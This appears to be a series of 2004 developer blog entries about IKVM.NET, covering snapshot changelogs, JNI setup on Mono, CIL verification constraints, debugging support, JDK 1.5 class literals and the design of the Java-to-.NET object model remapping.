  • Changed handling of shadow types (e.g. cli.System.Object now extends java.lang.Object and cli.System.String exists side by side with java.lang.String).
  • Fixed support for deserializing final fields.
  • Fixed java.lang.Class/VMClass to no longer require VMClass instances (Class now contains direct reference to TypeWrapper).
  • Added the managed part of the Mono JNI provider to CVS and the build script (and the snapshot).
  • Updated the SharpZipLib reference to the latest version.
  • Locked to GNU Classpath 0.09 and changed classpath build directory to ../../classpath-0.09
  • Fixed Thread.sleep() to support larger values than Integer.MAX_VALUE

Linux Lamer

Since I'm a Linux Lamer (tm), I'm documenting the steps here to get JNI to work with Mono (primarily for my own use).

  • cd /usr/local/src/classpath-0.09
  • ./configure --with-jikes --disable-gtk-peer
  • make
  • cp include/jni.h /usr/local/include/
  • cp include/jni_md.h /usr/local/include/
  • cd ../mono-0.91/ikvm-jni/
  • make && make install
  • cd ../jnitest
  • vi test.java
    class test {
      public static void main(String[] args) {
        System.loadLibrary("test");
        nativeMethod();
      }
      static native void nativeMethod();
    }
  • jikes -cp ../classpath-0.09:../classpath-0.09/vm/reference:../ikvm/classpath test.java
  • vi test.c
    #include <stdio.h>
    #include <jni.h>
    JNIEXPORT void JNICALL Java_test_nativeMethod(
    JNIEnv* env, jclass clazz) { printf("Hello from JNI\n"); }
  • gcc -shared test.c -o libtest.so
  • export LD_LIBRARY_PATH=.
  • ikvm test

New snapshots: just the binaries and source plus binaries.

The GNU Classpath release that this is based on can be downloaded from ftp://ftp.gnu.org/pub/gnu/classpath/classpath-0.09.tar.gz

Note that anon cvs for SourceForge is apparently still lagging behind, so at the moment I'm posting this, anon cvs does not yet contain the latest changes.

5/5/2004 11:06:43 AM (W. Europe Daylight Time, UTC+02:00)  #    Comments [2]

Thursday, April 15, 2004

Progress

While it's been quiet on the blog and the mailing list, there has been quite a lot of progress behind the scenes.

  • The next Mono release will contain the C half of the IKVM JNI provider and the next IKVM snapshot will contain the C# half of the Mono JNI provider. This means that JNI will work out of the box on Mono (for the parts of JNI that are actually implemented). Thanks to Zoltan and Miguel for this.
  • I'm planning an IKVM 0.8 release to coincide with the Mono 1.0 release.
  • John Luke added IKVM support to MonoDevelop. Read about it here or see the screenshot here.
  • I successfully started up Eclipse 3.0 M8 for the first time yesterday. Thanks to Michael Koch for his work on GNU Classpath's java.nio implementation and all the other GNU Classpath hackers, of course.
  • In the comments, Jesus Garcia point me to SwingWT. An SWT based implementation of AWT and Swing by Robin Rawson-Tetley. Very cool stuff! It doesn't run on the latest snapshot due to a JNI bug, but I have it running and it's very cool to see the SwingSet demo running on IKVM.

I hope to do a new snapshot in the first week of May and after that to work towards the 0.8 release.

4/15/2004 10:06:15 AM (W. Europe Daylight Time, UTC+02:00)  #    Comments [4]

Monday, March 29, 2004

Backward Branch Constraints

The last snapshot was totally broken on Mono (*blush*). My apologies to the Mono users. I should test my snapshots on Mono before releasing them, but I'm lazy so this sometimes slips through the cracks.

The breakage was kind of interesting though. As I wrote last time, I rewrote the bytecode compiler to emit CIL in the same order as the Java bytecode. This caused invalid (per the ECMA spec) CIL to be generated in some cases. The interesting thing is that the code isn't really invalid, the only reason it is invalid is because the spec says so:

Partition III -- 1.7.5 Backward Branch Contraints

It must be possible, with a single forward-pass through the CIL instruction stream for any method, to infer the exact state of the evaluation stack at every instruction (where by “state” we mean the number and type of each item on the evaluation stack).

In particular, if that single-pass analysis arrives at an instruction, call it location X, that immediately follows an unconditional branch, and where X is not the target of an earlier branch instruction, then the state of the evaluation stack at X, clearly, cannot be derived from existing information. In this case, the CLI demands that the evaluation stack at X be empty.

(Note that the section numbering seems to change with each version, this is from the working draft of June 2003.)

Java bytecode has no such requirment, so my straight forward translation caused Java bytecode that is only reachable through a backward branch to be translated into invalid CIL.

The Microsoft verifier and JIT don't require this constraint to be met and they will happily verify and JIT code that violates this constraint. However, the Mono JIT relies on it and so it was unable to handle some of the CIL that IKVM generated.

I fixed the IKVM bytecode compiler to emit ECMA compliant code (at least for this particular issue, who knows what else is wrong). I also fixed exception mapping, which didn't work on Mono as it relied on a currently unimplemented feature (I think, I didn't really investigate).

I think that, realistically, the Mono JIT will also have to be "fixed" to support the broken code, as you can be sure that there will be compilers that emit broken code, because it works on the Microsoft runtime.

New snapshots: just the binaries and source plus binaries.

3/29/2004 12:56:28 PM (W. Europe Daylight Time, UTC+02:00)  #    Comments [0]

Friday, March 26, 2004

Debugging Support

I finished and fixed the local variable analysis and made various improvements to the debugging experience (in Visual Studio .NET). In the process I discovered some quirks in jikes' debugging tables. It associates two line numbers with the same bytecode address when that bytecode address is also the start of an exception block. It also (I think incorrectly) starts a local variable scope before the store instruction that first initializes that local variable. Javac starts the local variable scope immediately after the first store to that local, this makes more sense to me, but also required a hack in the local variable debugging support to make sure that the IL variable scope starts at the right position (i.e. before the first store to that local variable).

To make local variable scopes work, I had to change the bytecode compiler to emit IL in the same order as the original Java bytecode. For some reason I originally wrote the compiler to do the same code flow analysis as the verifier and this resulted in a somewhat arbitrary order of the generated IL. I finally fixed that and I also removed the recursion from the compiler (it now uses an explicit stack to keep track of exception blocks).

Note that unreachable code is still not compiled (it can't be verified, so it can't be compiled), but there will be nop IL instructions for each unreachable bytecode instruction, so you can set breakpoints and move the instruction pointer there. This could be a bit confusing and I probably should fix it at some point (by not emitting the nops).

I also had to reintroduce the automatic downcasting of locals, because I realised that it is possible to write bytecode by hand that depends on this (Java source will never require it). In non-debug builds of classpath.dll this introduces 12 (unnecessary) downcasts, so that's not really worth optimising.

What's new?

  • When compiling with -debug option, dead store are not optimized out anymore.
  • When compiling with -debug option, local variables are merged based on LocalVariableTable information.
  • When compiling with -debug option, the first instruction of a method will always (except when compiling with -Xmethodtrace) have an associated line number now (to enable stepping into the method).
  • When compiling with -debug option, local variables are now scoped based on LocalVariableTable information. Different locals with the same name are now handled correctly in the debugger.
  • Made helper method MethodInfo caching more consistent.
  • Method arguments that are value types are now boxed on method entry and not on each individual load, this makes them behave consistent with local variables.
  • Reusing method argument local variable slots (with different types) is now fully supported. I've never seen a Java compiler do this, but it is legal.
  • lookupswitch/tableswitch branches into exception blocks are now handled correctly (exception block is split around branch target). This completes branch/exception block handling. I originally thought that this would never happen, but apparently it does.
  • Added a helper method to emit Ldc_I4 that always uses the optimal encoding.
  • Added a class loader check to the System.arraycopy optimization check, to make sure that we're in fact calling System.arraycopy on the bootstrap version of java.lang.System.
  • Many fixes to the local variable analysis.
  • Added -srcpath option to ikvmc. If specified, this prepends the specified path and the package name to the source file name in the debugging information. In most cases this will be the correct location for the source file and will allow the debugger to automatically load the correct source.
  • Added AWT peer for Window.

New snapshots: just the binaries and source plus binaries.

3/26/2004 11:30:36 AM (W. Europe Standard Time, UTC+01:00)  #    Comments [1]

Thursday, March 25, 2004

Q & A

In the comments on the previous entry, Stuart asks:

Given an instance of System.Type, how do I determine what the typename is in Java?

This is tricky and my (lame) answer is that you shouldn't have to. Do you have a specific scenario in mind? Having said that, in your comment you're on the right track, there is no one-to-one mapping between System.Type instances and java.lang.Class instances. What I think you're after is the fact that you'll never encounter cli.System.Object or cli.System.Exception as field types or in method signatures. The only way to get the class object for these types, is by calling getClass() on an instance or by calling Class.getSuperclass() on a subclass of them.

Note that the above behaviour isn't actually implemented yet. At the moment cli.System.Object and cli.System.Exception are simply helper classes with static methods and you'll never encounter them as field types, in method signatures or as instance types.

As to which one to use from Java, you're right when you say java.lang.* is the answer is most cases. The only times you want to use cli.System.Object or cli.System.Exception is when you subclass them from Java to make your Java class look more .NET like to .NET consumers.

What would be really nice would be if there were something in the IK.VM.NET.dll that would let me answer this question authoritatively with a simple call...

There is the NativeCode.java.lang.VMClass.getClassFromType() method that is used by the runtime internally (it's public, so you could call it), but I can't really guarantee that it'll stay around or behave consistently over time. At some point in the future there'll probably be a utility class in the ikvm.lang package that will contain conversion method to go from System.Type to java.lang.Class and vice versa (but it probably will require you to specify to context for the mapping).

Oh, one other thing that occurred to me would be a nice feature: if a class implemented in Java could put itself into the cli.* package and thereby make itself look to other Java code as if it were a .NET type, without actually putting it in a cli.* namespace in .NET. In other words, a Java class cli.Foo.Bar would be compiled as namespace Foo.Bar *without* the attribute that preserves its name in Java, so that Foo.Bar then gets translated back to cli.Foo.Bar when Java code sees it.

Sort of the inverse of the attribute for turning name mangling off on the .NET side.

Can you explain why and when you'd want to use this?

Mike asks:

Are there any tasks for a CS scrub like myself to work on with IKVM?

Here is a partial list of things that need to be done:

  • Implement the AWT peers
  • Implement the missing JNI methods
  • Build a framework to test the verifier / bytecode compiler
  • Write a Java implementation of String.valueOf(float) and String.valueOf(double)
  • Search the source for // TODO for things that seem doable (or write test cases that show the current code is broken)
  • Write documentation
  • Design a logo
  • Design a website

If you (or anyone) decides to work on something, please send e-mail to the ikvm-developers list, so we can coordinate.

3/25/2004 10:28:51 AM (W. Europe Standard Time, UTC+01:00)  #    Comments [2]

Saturday, March 20, 2004

Documentation

Miguel posted a nice example of how to use Gtk# from Java using IKVM/Mono on his blog. In response Pablo posted a question to the Mono list and Jonathan Pryor replied with a nice explanation of how delegates are handled to the IKVM and Mono lists (quoted with permission, slightly edited):

From: Jonathan Pryor
Sent: Friday, March 19, 2004 02:35
To: Pablo Baena
Cc: Miguel de Icaza; mono-list@lists.ximian.com; ikvm-developers@lists.sourceforge.net
Subject: Re: [Mono-list] Java and C#

Below...

On Thu, 2004-03-18 at 16:07, Pablo Baena wrote:
> Miguel: I saw your blog about IKVM. One thing I haven't been able to 
> investigate is, how useful can be Gtk# with Java. Because, for example, I 
> couldn't find a clue on how to attach a Java 'listener' to a C# event, or any 
> way to use attributes in Java.

They really need to document this better...

However, grepping through the ikvm.zip file (from their website), we
see:

// file: classpath/java/lang/VMRuntime.java
cli.System.AppDomain.get_CurrentDomain().add_ProcessExit (
  new cli.System.EventHandler (
    new cli.System.EventHandler.Method () {
      public void Invoke (Object sender, cli.System.EventArgs e) {
        Runtime.getRuntime().runShutdownHooks();
      }
    }
  )
);

>From this (and prior knowledge), we can draw the following statements:

1. Properties are actually functions with `get_' and `set_' prefixed to
them. Thus C# property System.AppDomain.CurrentDomain is the static
Java function cli.System.AppDomain.get_CurrentDomain().

2. Events are actually functions with `add_' and `remove_' prefixed to
their name. Thus C# event System.AppDomain.ProcessExit is the static
Java function cli.System.AppDomain.add_ProcessExit().

3. There is no equivalent to C# delegates in Java, so these are
translated into a class + interface pair. The EventHandler class is the
standard C# type name (cli.System.EventHandler), which takes as an
argument an interface to invoke, named "cli." + C# delegate type name +
".Method", hence cli.System.EventHandler.Method. The EventHandler.Method
interface has a function Invoke() which must be implemented, and this
method will be invoked when the event is signaled.

I suspect that there is no way to add attributes in Java. Microsoft's
Visual J# permits the use of Attributes (IIRC), but it's through their
Visual J++ syntax -- through a specially formed JavaDoc comment. 
Something like (from memory):

/**
* @attribute-name (args...)
*/
public void myMethod () {/* ... */}

Of course, that's compiler specific, and no standard Java compiler will
support that. So when it comes to attributes, you're probably up the
creek.

- Jon

I replied saying that I believe that the attribute construct in JDK 1.5 can probably be used to expose .NET attributes to Java (and use them in Java code that is target to run on IKVM).

3/20/2004 2:51:08 PM (W. Europe Standard Time, UTC+01:00)  #    Comments [3]

A Less Broken Snapshot?

In Tuesday's snapshot, ikvmc was completely broken. Sorry about that. The CoreClasses cache introduced an incorrect dependency between Object, Throwable and String. This caused Throwable or String to be loaded while it was being loaded and that resulted in an exception: System.ArgumentException: Item has already been added. Key in dictionary: "java.lang.Throwable" Key being added: "java.lang.Throwable"

Hopefully this snapshot will be a little better quality, but don't hold your breath, because the main change in this version is the addition of local variable liveness analysis to the verifier. This required some tricky code and made it clear to me (again) that the verifier desperately needs to be rewritten.

The trigger for the local variable liveness analysis was to be able to emit debugging information for local variables, but it also has the nice side effect of allowing a little better code generation. Previously, if a local variable slot was shared between two different reference types, the .NET local would have the type of the common base type, even if the uses were in fact totally distinct. The compiler had to emit downcasts whenever it emitted a load from one of those locals. In classpath.dll there were 1288 such downcasts. With the new liveness information, it is now possible to split those Java locals in multiple .NET locals, so these downcasts are now gone. Another optimization, which doesn't seem all that exciting, is the elimination of dead stores to local variables. In itself this is a fairly pointless optimization, because the CLR/Mono JIT will probably do it anyway. However, there is one very important optimization that can be done because of dead store elimination, in exception handling. Whenever an exception handler discards the exception object and the IKVM bytecode compiler can detect this, it can skip the (expensive) stack trace capturing that is normally required. I had already hacked some support to recognize these exception handlers (in classpath.dll there were 313 optimized exception handlers), but now it works much better (there are now 444 optimized exception handlers).

What's new?

  • Decorated the various ByteCodeHelper methods with the [DebuggerStepThroughAttribute] attribute to make stepping through the source code in the debugger less disruptive.
  • Restored the signature decoding methods in ClassFile.cs that I removed in the previous version. I had failed to realise that they're different from the ones in ClassLoaderWrapper, because they deal with unloadable classes.
  • Fixed CoreClasses to decouple the different classes (accessing one no longer triggers loading the others).
  • Changed handling of package accessible final fields (they're no longer turned into a property).
  • Fixed System.setOut (copy & paste mistake, it tried to set "in").
  • The debugging information is now classified as Java/Text. Not sure if this affects anything, but it seemed like the right thing to do.
  • Fixed debugging line number information to make sure the firt CIL instruction has a corresponding line number. Previously, Visual Studio .NET refused to step into an ikvmc compiled method.
  • Optimized dead stores to local variables and use new dead store information to optimize exception handling.
  • Local variables are now properly typed and have their names attached in debugging information (when ikvmc with the -debug option is used). NOTE: if the same variable name is reused in a method, the debugging information for those variables is not yet emitted correctly.
  • Fixed mapping of System.IntPtr to gnu.classpath.RawData. The mapping is now private to classpath.dll.
  • Changed JVM.CriticalFailure to write to always write to stderr on Unix instead of try to display a message box.
  • Fixed race condition between returning from Thread.join and the thread being removed from the thread pool / marked as dead.
  • Fixed Thread.yield to not consume thread interrupted status. (Note that Thread.sleep(0) behaves as Thread.yield() and also does not consume the interrupted status).

New snapshots: just the binaries and source plus binaries.

3/20/2004 2:26:49 PM (W. Europe Standard Time, UTC+01:00)  #    Comments [0]

Tuesday, March 16, 2004

New Snapshot

Last week I said I'd go through a stabilization phase, but I couldn't resist the urge to implement some more stuff and fix various things. So this snapshot is a fairly big change again, but no major architectural overhaul like the pervious one.

What's new?

  • Merged with current Classpath cvs.
  • Support for JDK 1.5 style class literals (only for class files with version 49 or greater).
  • Removed signature decoding from ClassFile.cs (I once thought that it should live there, instead of in ClassLoaderWrapper, but that turned out not to be a good idea).
  • Added CoreClasses.cs to cache a few of the frequently used TypeWrappers (Object, Class, String and Throwable).
  • Fixed volatile long/double handling to use the (new in .NET 1.1) Thread.VolatileRead/VolatileWrite methods.
  • Changed type used in ImplementsAttribute to the ghost wrapper for ghosts.
  • Changed method name mangling for interface implementation stubs (shorter name and now uses a slash to make sure it doesn't clash with any Java method names).
  • Added support for Finalize/finalize method overriding when mixing Java and non-Java classes in the class hierarchy. I don't like this solution very much. The code is ugly and complicated.
  • Added special support for finalize method for .NET types that extend Java types.
  • Fixed handling of synchronized static methods. Previously, .NET MethodImplOptions.Synchronized flag was simply set, but this was incorrect because that causes the method to synchronize on the .NET Type object, instead of the Java Class object.
  • Fixed handling of instance calls on value types.
  • Fixed System.currentTimeMillis implementation to use DateTime.UtcNow instead of Environment.TickCount, to prevent overflow.
  • Changed System.setErr/setIn/setOut to use TypeWrapper based reflection instead of .NET reflection.
  • Changed handling of resources to use .NET resources instead of global fields, this allows resources to work in multi-module assemblies.
  • Changed URL format for assembly embedded resources from opaque to parseable, to facilitate parsing them as a URI.
  • Added support for passing ghost references to methods in map.xml instructions.
  • Fixed a regression introduced in the previous snapshot, that caused exception mapping not to be invoked for catch(Throwable).
  • Limited fixes to get AWT working again (after Classpath AWT changes).
  • Declared String.equals and String.compareTo(Object) in map.xml to make reflection appearance identical to JDK.
  • Implemented JDK 1.4 String methods that rely on regular expressions (Classpath now has java.util.regex.* support, although not 100% compatible with the JDK).
  • Minor performance improvement in String.hashCode implementation. Oddly enough, by doing the length check in the for condition, instead of manually hoisting it out of the loop. Apparantly the CLR JIT recognizes this pattern and optimizes it better.
  • Fixed Thread.join to work with non-Java created threads as well.
  • Fixed removal of non-Java created threads from ThreadGroup.
  • Fixed ServerSocket.accept() timeout support.
  • Fixed ikvmc handling of -reference assemblies (to handle the Load vs LoadFrom context issues).
  • Various comment fixes.

New snapshots: just the binaries and source plus binaries.

3/16/2004 5:50:55 PM (W. Europe Standard Time, UTC+01:00)  #    Comments [3]

Saturday, March 13, 2004

JDK 1.5 beta

Yesterday I looked at the JDK 1.5 beta that Sun released recently. There appears not to be a complete list of changes to the VM yet and the only things I found were a few new modifier bits (that haven't yet stabilized) and the fact that class literals are finally supported in the VM. This is important for IKVM.NET, because it makes class literals in statically compiled code work better and more efficient.

For a quick refresher of how class literals are currently compiled, let's look at how the following class is compiled:

class ClassLiteral
{
  public static void main(String[] args)
  {
    System.out.println(String.class);
  }
}

Compiling this with Jikes 1.19 and then disassembling it (I've left out the default constructor that the compiler generated):

class ClassLiteral extends java/lang/Object

static java/lang/Class class$java$lang$String
// Unknown attribute : Synthetic//

public static main([Ljava/lang/String;)V
// attrib length: 53
// max stacks: 3
// max locals: 1
// code length: 25
0 getstatic <Field java/lang/System java/io/PrintStream out>
3 getstatic <Field ClassLiteral java/lang/Class class$java$lang$String>
6 dup
7 ifnonnull 21
10 pop
11 ldc "[Ljava.lang.String;"
13 iconst_0
14 invokestatic <Method ClassLiteral class$(Ljava/lang/String;Z)Ljava/lang/Class;>
17 dup
18 putstatic <Field ClassLiteral java/lang/Class class$java$lang$String>
21 invokevirtual <Method java/io/PrintStream println(Ljava/lang/Object;)V>
24 return

static class$(Ljava/lang/String;Z)Ljava/lang/Class;
// Unknown attribute : Synthetic
//
// attrib length: 55
// max stacks: 3
// max locals: 4
// code length: 23
0 aload_0
1 invokestatic <Method java/lang/Class forName(Ljava/lang/String;)Ljava/lang
/Class;>
4 iload_1
5 ifne 11
8 invokevirtual <Method java/lang/Class getComponentType()Ljava/lang/Class;>

11 areturn
12 new java/lang/NoClassDefFoundError
15 dup_x1
16 invokespecial <Method java/lang/NoClassDefFoundError <init>()V>
19 invokevirtual <Method java/lang/Throwable initCause(Ljava/lang/Throwable;)
Ljava/lang/Throwable;>
22 athrow
Exception table:
start_pc = 0
end_pc = 12
handler_pc = 12
catch_type = java/lang/ClassNotFoundException

The amount of code generated is pretty bizarre. Note that this isn't Jikes' fault, there just isn't a way to do it better. Now, here is what it looks like compiled with javac from the 1.5 beta (specifying the -target 1.5 option):

class ClassLiteral extends java/lang/Object

public static main([Ljava/lang/String;)V
// attrib length: 38
// max stacks: 2
// max locals: 1
// code length: 10
0 getstatic <Field java/lang/System java/io/PrintStream out>
3 ldc_w java/lang/String
6 invokevirtual <Method java/io/PrintStream println(Ljava/lang/Object;)V>
9 return

This looks a lot better! No new bytecode instruction was added, instead the ldc instruction was modified to allow referencing a CONSTANT_Class_info . When the VM encounters this it loads the class and pushes the class object on the stack. I added support for this to IKVM.NET (not in cvs yet) in about 15 minutes. When JDK 1.1 was released (the first version to support class literals in the source), I wondered why they didn't add VM support at the same time, but fortunately they finally got around to it.

Trivia

If you looked closely at the Jikes generated code, you may have noticed that Jikes actually loads the string array class ("[Ljava.lang.String;") instead of java.lang.String. Why does it do this? It does this, because it correctly implements the JLS. The JLS says that class literals should not cause a class to be initialized. Doing a Class.forName() initializes the class, but when you initialize an array class you don't initialize the component type class. So this is a clever trick. Javac doesn't do this, so it (incorrectly) causes the class to be initialized.

IKVM.NET

Why does this change help statically compiled code in IKVM.NET? Performance is a bit better, but that's not the most important difference. The real benefit shows up when you statically compile code into multiple assemblies. If one assembly references a class in another assembly via a class literal, you'd better be sure that the referenced assembly is already loaded in the AppDomain, otherwise the IKVM.NET runtime is unable to find the class. In the new (JDK 1.5) way of references class literals, it is no longer opaque to ikvmc, so it can now compile the construct in such a way that the class literal causes the appropriate assembly to be loaded by the .NET runtime when it is executed.

StringBuilder

Something that struck me a funny is the new StringBuilder class that JDK 1.5 includes. It's almost identical to StringBuffer, except that it is not thread safe. If you look at the Rotor source code, you can see that the .NET StringBuilder also started life as StringBuffer. Now if the next version of .NET includes a thread safe version of StringBuilder and name it StringBuffer, we've come full circle ;-)

3/13/2004 6:38:45 PM (W. Europe Standard Time, UTC+01:00)  #    Comments [1]

Wednesday, March 10, 2004

To Invert Or Not To Invert

Stuart commented:
I'm not convinced that cli.System.Object should be visible to Java at all. AIUI, Java code will never see instances of cli.System.Object, because all such objects appear to inherit from java.lang.Object instead.

If cli.System.Object *is* visible to Java code, it introduces a paradox: java.lang.Object inherits from cli.System.Object (per the way it's actually implemented) but cli.System.Object should appear to inherit from java.lang.Object (per Java's rule that *everything* inherits from java.lang.Object). Now, it may be possible to create magic glue code that inverts the apparent inheritance relationship like that, but do you really want to go there? :)

The inversion is exactly what I was thinking about. Stuart's analysis above contains a crucial mistake, java.lang.Object does not inherit from cli.System.Object. However, it is virtually impossible not to get confused about this stuff, so let's try to make the discussion a little easier by defining a naming convention:

  • java.lang.Object
    This is the base class of all Java classes (as seen from the Java side of the world).
  • [classpath]java.lang.Object
    This is an implementation artifact of IKVM, it is a .NET type that is used as the base type for all non-remapped Java classes.
  • System.Object
    This is the base class of all .NET classes (as seen from the .NET side of the world).
  • cli.System.Object
    This is the IKVM manifestation of the System.Object type on the Java side of the world.

The paradox is that [classpath]java.lang.Object inherits from System.Object and cli.System.Object inherits from java.lang.Object, but hopefully it is now clear that this isn't a problem. (BTW, one of the definitions of a paradox is "A seemingly contradictory statement that may nonetheless be true").

There are actually two reasons why I would want to do this:

  1. If a Java class extends a .NET type (that was exported using netexp) you see both the virtual methods in java.lang.Object as well as the ones in System.Object that the class in question happens to override (a fairly arbitrary set). By introducing cli.System.Object as the penultimate base class for all .NET types, this can be made much more consistent. cli.System.Object would have final implementations for all the virtual methods in java.lang.Object (to make sure that the essentially non-existing methods don't get overridden) and it would introduce the real virtual methods of System.Object.

  2. If you want to define your own "first class" .NET exception class in Java, you need to extend cli.System.Exception. In other words, it makes for a more powerful programming model to expose the remapped types in this way.

3/10/2004 10:15:16 AM (W. Europe Standard Time, UTC+01:00)  #    Comments [6]

Tuesday, March 09, 2004

Object Model Mapping Part 4

Yesterday I checked in a major change set that implements the new object model mapping infrastructure. Today I put the new snapshots online as well. The new implementation is about a thousand lines less code than the previous.

What's new

  • Many code changes to implement the new model.
  • When compiling classpath.dll, ikvmc now requires the -remap:map.xml option. This is the only time the mapping information is read from the XML. When code actually runs, or when other classes are compiled, the remapping information is read from custom attributes in classpath.dll.
  • Tracing infrastructure. Interesting points in the runtime now contain trace calls that can be enabled with a command line switch (or app.config setting). In addition, when Java code is compiled it can optionally be instrumented so that each method called writes its name and signature to the tracer. This has a big performance impact (it will be optimized a little bit in the future, but don't expect too much), so it is not enabled for classpath.dll, by default.
  • classpath.dll now contains the remapped types (java.lang.Object, java.lang.Throwable, java.lang.String and java.lang.Comparable). This means that if you want to create a Java like class in C# you can now extend java.lang.Object. Note however that you should never define your references as java.lang.Object, use System.Object instead. If you want to call a java.lang.Object instance method on a System.Object reference, use the corresponding static instancehelper method on java.lang.Object.

Finalization

From the Java side of the fence, finalization continues to work as it always has, but when C# code is subclassing Java code, you should use the C# destructor if you need finalization. If you override the finalize method, you run the risk that it isn't called (it only gets called if one of your Java base classes actually overrides it). The C# destructor does the right thing. If you use another .NET language, you have to override Finalize and make sure that you call the base class Finalize. More complicated mixed scenarios (e.g. Java code subclassing C# code that subclasses Java code) are not supported at the moment (wrt finalization, other aspects should work fine).

What's next?

It's not quite done yet, but I'll be going through a stabilization phase before making any more changes. I have some ideas for changes to the way the remapped .NET types appear on the Java side (e.g. should it be possible to extend cli.System.Object in Java?). There are also some optimizations that can be done and there still remains some restructuring to be done.

Snapshots

I've tested this snapshot pretty well, but considering the scale of the changes, I expect some regressions. Bug reports are appreciated (as always).

New snapshots: just the binaries and source plus binaries.

Conferences

Next month I'm speaking again at the rOOts conference in Bergen, Norway, where I had a very good time last year. Come and say hi if you're there. Also, I'm happy to be speaking again at the excellent (and fun) Colorado Software Summit in Keystone, Colorado in October.

3/9/2004 10:42:12 AM (W. Europe Standard Time, UTC+01:00)  #    Comments [1]

Wednesday, March 03, 2004

Object Model Mapping Part 3

A brief update on the progress and some random thoughts on remapping. Today I got classpath.dll to build (and verify) for the first time using the new remapping infrastructure. Finally some progress. However, there is still some more work to do before it runs again.

Part of the new model is that there are now two different type wrappers (the internal class that contains the meta data of an IKVM type) for the remapped types. There is one type wrapper that is used during static compilation (RemapperTypeWrapper) and another one that is used during at runtime (CompiledTypeWrapper, also used for normal (i.e. non-remapped) statically compiled classes). The advantage of this is that there is less overhead at runtime and the code is also a bit less complex. This is also the final step in an invisible process that has been going on for a long time. It is now no longer possible to run IKVM without a statically compiled classpath.dll (it hasn't been possible for a while, but theoretically it could have been made to work). When I just got started, there was no static compiler yet and the only way for it to work was to load all classes dynamically, after the static compiler started to work, support for dynamically loading the core classes began to degenerate. That degeneration is now final and there is no way back ;-)

What's next?

More metadata needs to be emitted on the remapped types and CompiledTypeWrapper needs to be changed to understand it. The code needs to be cleaned up. I'm not sure yet, but I think a lot of complexity can be removed now. Virtual method invocation needs to be optimized. At the moment all virtual method call to remapped types go through the helper methods, but this is only needed is the reference type is not know to be a Java subclass. For example, calling java.lang.Object.toString() on a java.lang.Object reference requires the call to go through the helper method, but calling java.lang.Object.toString() on java.lang.Math (this is just a random example) doesn't need to go through the helper method.

Of course, there are also various loose ends that need to be tied up, but I think I'm on track to have a working version sometime next week.

More FOSDEM

Patrik posted an overview of the FOSDEM Java talks. It also includes links to the slides for some of the talks.

3/3/2004 8:59:25 PM (W. Europe Standard Time, UTC+01:00)  #    Comments [0]

Monday, March 01, 2004

Object Model Mapping Part 2

In yesterday's entry I didn't get to the stuff that kept me going in circles last week. I had decided on the mixed model a few months ago, but as usual the devil is in the details.

Initially I wanted to keep the map.xml format more or less the same and I think that put me on the wrong track. Let's start by taking a look at some of the current map.xml features. Within the <class> tag there are <constructor> and <method> tags. These can contain several different child tags:

  • Empty (i.e. no child tags)
    The method is identical to the corresponding method in the underlying type. Example: The constructor of java.lang.Object is identical to the constructor of System.Object, so the tag looks like this:
    <constructor sig="()V" modifiers="public" />
  • <redirect>
    The method is redirected to another method. This can be a static method in a helper class or a static or instance method in the underlying type. Example: java.lang.Object.notifyAll() is redirected to System.Threading.Monitor.PulseAll():
    <method name="notifyAll" sig="()V" modifiers="public final">
        <redirect class="System.Threading.Monitor, mscorlib" name="PulseAll" sig="(Ljava.lang.Object;)V" type="static" />
    </method>
  • <invokespecial>
    If the method is invoked using the invokespecial bytecode, this CIL sequence is emitted. Example: java.lang.Object.wait() is implemented by calling System.Threading.Monitor.Wait(), but Monitor.Wait returns a boolean that has to be discarded:
    <method name="wait" sig="()V" modifiers="public final">
        <invokespecial>
            <call type="System.Threading.Monitor, mscorlib" name="Wait" sig="(Ljava.lang.Object;)Z" />
            <pop />
        </invokespecial>
    </method>
  • <invokevirtual>
    Similar to <invokespecial>, but this defines the CIL that is emitted when the invokevirtual bytecode is used to call the method.
  • <override>
    Specifies that this method conceptually overrides the method named in the <override> tag. I say "conceptually" because in the equivalence model there is no real class. However, if a real subclass would override this method, it would actually be overriding the method named in the override tag. Example: java.lang.Object.hashCode() overrides System.Object.GetHashCode:
    <method name="hashCode" sig="()I" modifiers="public">
        <override name="GetHashCode" />
        <invokevirtual>
            <dup />
            <isinst type="System.String, mscorlib" />
            <brfalse name="skip" />
            <castclass type="System.String, mscorlib" />
            <call class="java.lang.StringHelper" name="hashCode" sig="(Ljava.lang.String;)I" />
            <br name="end" />
            <label name="skip" />
            <callvirt type="System.Object, mscorlib" name="GetHashCode" />
            <label name="end" />
        </invokevirtual>
    </method>
  • <newobj>
    Used in constructors to define the CIL that is emitted when a new instance is created. Example: java.lang.String has a default constructor, but System.String doesn't:
    <constructor sig="()V" modifiers="public">
        <newobj>
            <ldstr value="" />
            <call type="System.String, mscorlib" name="Copy" />
        </newobj>
    </constructor>

The thing to note is that some of the remapping implications are still handled manually in this scheme. For example, the <invokevirtual> of Object.hashCode has to check for string instances. This information can be derived from the remapping file and it shouldn't be necessary to do this explicitly.

I didn't really like the <invokespecial> and <invokevirtual> constructs and I explored the idea of only having a <body> tag that contains the method body. However, it soon became clear that that wouldn't be enough. For example, the implementation of java.lang.Object.clone needs to call the protected method System.Object.MemberwiseClone and this is only allowed in subclasses. So it wouldn't be possible to generate a verifiable helper method for that.

The obvious solution (in hindsight) came to me when I realised that there are actually two types of "subclasses" of java.lang.Object, the ones that really extend java.lang.Object (our generated .NET type) and the ones that don't (e.g. arrays, System.String and all other .NET types). I knew this before, of course, but I was trying to make the model too general. After this realisation, it became obvious that every method should have a <body> and an <alternateBody> (tentative names).

After I've modified the remapping engine to automatically handle all the overridden method implications, the <alternateBody> construct will not be needed for many methods. I think only for Object.clone and Object.finalize and both will be trivial. The <alternateBody> for clone will throw a CloneNotSupportedException (it could also check if the object implements ICloneable and if so, invoke that Clone method, but does this really help?) and the <alternateBody> for finalize will simply be empty, since there is no good reason to ever explicitly invoke the Finalize method of a .NET type.

As an aside, I'm also going to remove the <redirect> construct, because it doens't really add any value. It's just as easy to have a <body> with a <call>.

I'm not clear on the performance implications of these changes. In the existing model, many of the remapping constructs are inlined, but in the new model they won't be, invokespecial will end up calling the real method in the new classes and invokevirtual will call the static helper method. This will probably be slightly slower, but I think the other advantages easily outweigh this.

Another advantage of this scheme that I didn't yet mention is that reflection on remapped methods is now trivial. Currently, the following program doesn't work on IKVM, in the new model the call would simply end up at the static helper method for clone:

class ReflectClone
{
  public static void main(String[] args) throws Exception
  {
    java.lang.reflect.Method m;
    m = Object.class.getDeclaredMethod("clone", new Class[0]);
    m.setAccessible(true);
    System.out.println(m.invoke(args, new Object[0]));
  }
}

